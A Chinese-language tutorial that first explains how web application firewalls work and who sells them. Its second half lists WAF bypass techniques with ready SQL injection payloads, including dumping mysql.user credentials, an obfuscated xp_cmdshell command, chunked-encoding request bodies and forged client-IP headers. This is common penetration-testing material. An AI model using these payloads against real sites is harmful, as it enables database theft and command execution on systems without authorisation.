一. waf工作原理
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
常见的系统攻击分为两类:
- 一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;
- 二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。
1. waf简介
WAF是Web应用防火墙(Web Application Firewall)的简称,对来自Web应用程序客户端的各类请求进行内容检测和验证,确保其安全性与合法性,对非法的请求予以实时阻断,为Web应用提供防护,也称作应用防火墙,是网络安全纵深防御体系里重要的一环。WAF属于检测型及纠正型防御控制措施。WAF分为硬件WAF、软件WAF(ModSecurity)和云WAF。
WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。
1. WAF主要功能
1.网马木马主动防御及查杀
网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
2.流量监控
能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
3.网站漏洞防御功能
可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。 4. 危险组件防护功能
全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全 5. .Net安全保护模块
快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全 6. 双层防盗链链接模式
可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面 7. 网站特定资源防下载
支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载 8. CC攻击防护
自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。 9. 网站流量保护
支持下载流量控制、下载线程控制。采用独创的线程控制和流量控制技术, 大大提高服务器性能, 保护网站流量。
10.IP黑白名单
全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
二、市场Waf分类
1. 硬件Waf:
绿盟、启明、安恒、知道创宇、天融信等
硬件Waf通常的安装方式是将Waf串行部署在Web服务器前端,用于检测、阻断异常流量。 常规硬件Waf的实现方式是通过代理技术代理来自外部的流量,并对请求包进行解析,通过安全规则库的攻击规则进行匹配,如成功匹配规则库中的规则,则识别为异常并进行请求阻断。
2. 软件Waf:
安全狗、云锁、中间件自带的Waf模块、D盾等
软件Waf则是安装在需要防护的服务器上,实现方式通常是Waf监听端口或以Web容器扩展方式进行请求检测和阻断。
3. 云WAF:
阿里云、安全狗、安恒、知道创宇、腾讯网站管家等
云WAF,也称WEB应用防火墙的云模式,这种模式让用户不需要在自己的网络中安装软件程序或部署硬件设备,就可以对网站实施安全防护,它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。
三、Waf绕过方法
1、burp安装waf模块
- 步骤:插件扩展–BApp Store–Bypass WAF
- 项目选项–会议–会话处理规则–添加
2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录
- 把User-Agent修改百度等各大搜索引擎的便可以绕过,把此处替换为百度等搜索引擎的User-Agent
3、编码绕过,把SQL语句编码便可以绕过waf
4、修改请求方式绕过
- 利用waf的默认规则绕过,如默认只针对GET拦截,不对post拦截,那我们就可以用POST方式传输绕过waf
5、复合参数绕过
- 例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
- 可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
6、WAF触发规则的绕过
特殊字符替换空格:%0a/**/
/*|%23--%23|*/
特殊字符拼接:+
- 如:
GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
- 可以改为:
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
注释包含关键字
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
空格替换法
- 把空格替换成
%0a/**/
可以绕过
使用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
UNIunionON SELselectECT 1,2,3,4….
经过waf过滤后就变成union select 1,2,3,4....
异或绕过
lucy' Xor '1'='1' #
利用WAF本身的功能绕过,把"_"替换为空 uni_on+sel*ect+1,2,3,4…
组合法:编码与注释
1、 替换法+URL编码 2、注释+替换法 3、内联注释+替换法
把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-1
7、分块传输绕过
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 87
4
id=1
6
union
7
select
2
1
8
,user(),
5
3,4,5
0
Transfer-Encoding: chunked
id=1 union select 1,user(),3,4,5
8、 云waf绕过
寻找真实ip绕过云waf
9、 云waf伪造请求包头信息
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
绕过waf的方法有很多,也有许多方式被时代淘汰,你需要不停的思考绕过它的各种可能性,不断的去完善它。